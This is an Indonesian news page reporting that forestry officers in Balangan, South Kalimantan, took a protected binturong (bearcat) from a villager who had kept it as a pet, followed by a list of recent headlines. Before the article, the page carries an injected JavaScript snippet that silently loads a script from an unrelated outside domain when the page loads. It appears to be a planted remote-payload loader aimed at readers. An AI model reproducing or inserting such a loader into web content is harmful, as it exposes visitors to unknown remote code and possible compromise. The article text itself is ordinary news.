(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Bearcat (Binturong) Mantuyan Akhirnya Dievakuasi


PARINGIN,  Wardi terlihat pucat. Sesekali ia menyeka matanya yang basah. Terlalu berat bagi warga Desa Mantuyan Kecamatan Halong ini saat menyerahkan Hahaduk kepada petugas KPH Balangan, Kamis (25/7) tadi.

Wardi semula menolak melepas Musang Raya (nama lain Hahaduk). Ia terlalu sayang. Setelah diberi penjelasan bahwa hewan ini adalah jenis satwa dilindungi undang-undang dan hanya boleh dipelihara di lembaga konservasi yang memiliki izin menteri, pria ini akhirnya mau menyerahkan secara suka rela.

Wardi mengungkapkan, sebenarnya sudah banyak orang yang ingin membeli hewan ini. Bahkan, ada yang menawarnya hingga Rp 5 juta. Tetapi ia sangat mencintai Hahaduk. Tak ada niat sedikitpun untuk melepaskannya.

Musang Raya/Binturong atau Hahaduk dalam bahasa lokal (Arctictis binturong), adalah jenis musang bertubuh besar. Hewan berbulu hitam lebat ini bertampang mirip beruang. Berekor panjang, juga berkumis lebat dan panjang seperti kucing. Karenanya disebut Bearcat.

Pemakan daging ini adalah spesies terbesar dalam keluarga musang atau Viverridaem. Binturong dapat ditemukan di Selatan dan Asia Tenggara. Seperti di Bangladesh, Bhutan, Myanmar, Provinsi Yunnan Tiongkok, India, Indonesia, Laos, Malaysia, Nepal, Filipina ,Thailand, dan juga Vietnam.

Kasi Perlindungan Hutan KPH Balangan, Emir Faisal bersama Polhut dan Bakrim, pada Kamis (25/7) lalu, melakukan operasi di Desa Mantuyan Kecamatan Halong. Ada informasi warga di sana memelihara hewan dilindungi.

Setelah melakukan proses pengangkatan Binturong ke mobil petugas, tim berpamitan kepada Wardi dan warga setempat untuk kembali menuju kantor KPH Balangan. Satwa langka ini akan diserahkan kepada tim dari Seksi Konservasi Dinas Kehutanan Kalsel, yang telah menunggu di sana.

“Musang Raya diobservasi dulu oleh dokter hewan BKSDA, sebelum dilakukan pelepasliaran. Sebab, satwa ini sudah cukup lama dipelihara,” kata Emir Faisal. (kphbalangan)

Reporter : kphbalangan
Editor : Chell

Desy Arfianty

Recent Posts

Inspeksi SLO, Srikandi PLN Hadirkan Keandalan dan Kualitas Instalasi

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 jam ago

Senja Jelang Magrib, Rumah di Banjar Permai III Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga kawasan Banjar Indah Permai geger dengan kemunculan kobaran api, Senin (27/5/2024)… Read More

2 jam ago

Lawatan ke PKB, Upaya Lisa Halaby Mencari Partai Pengusung

KANALKALIMANTAN.COM, BANJARBARU – Bakal calon Wali Kota Erna Lisa Halaby kembali melakukan lawatan politik menuju… Read More

5 jam ago

Menjaga Kamtibmas, Satgas TMMD ke-120 Berikan Penyuluhan

KANALKALIMANTAN.COM, AMUNTAI - Memberikan pemahaman kepada warga agar bersama-sama menjaga dan mewujudkan keamanan dan ketertiban… Read More

5 jam ago

RPJPD 2025-2045 Banjarbaru Menjadi Kota Metropolitan di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Langkah menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel)… Read More

5 jam ago

Gandeng BPS Kabupaten Banjar, DKISP Banjar Gelar Workshop Penyusunan Metadata Statistik Sektoral Lingkup Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Dinas Komunikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar menggelar Workshop Penyusunan… Read More

5 jam ago

This website uses cookies.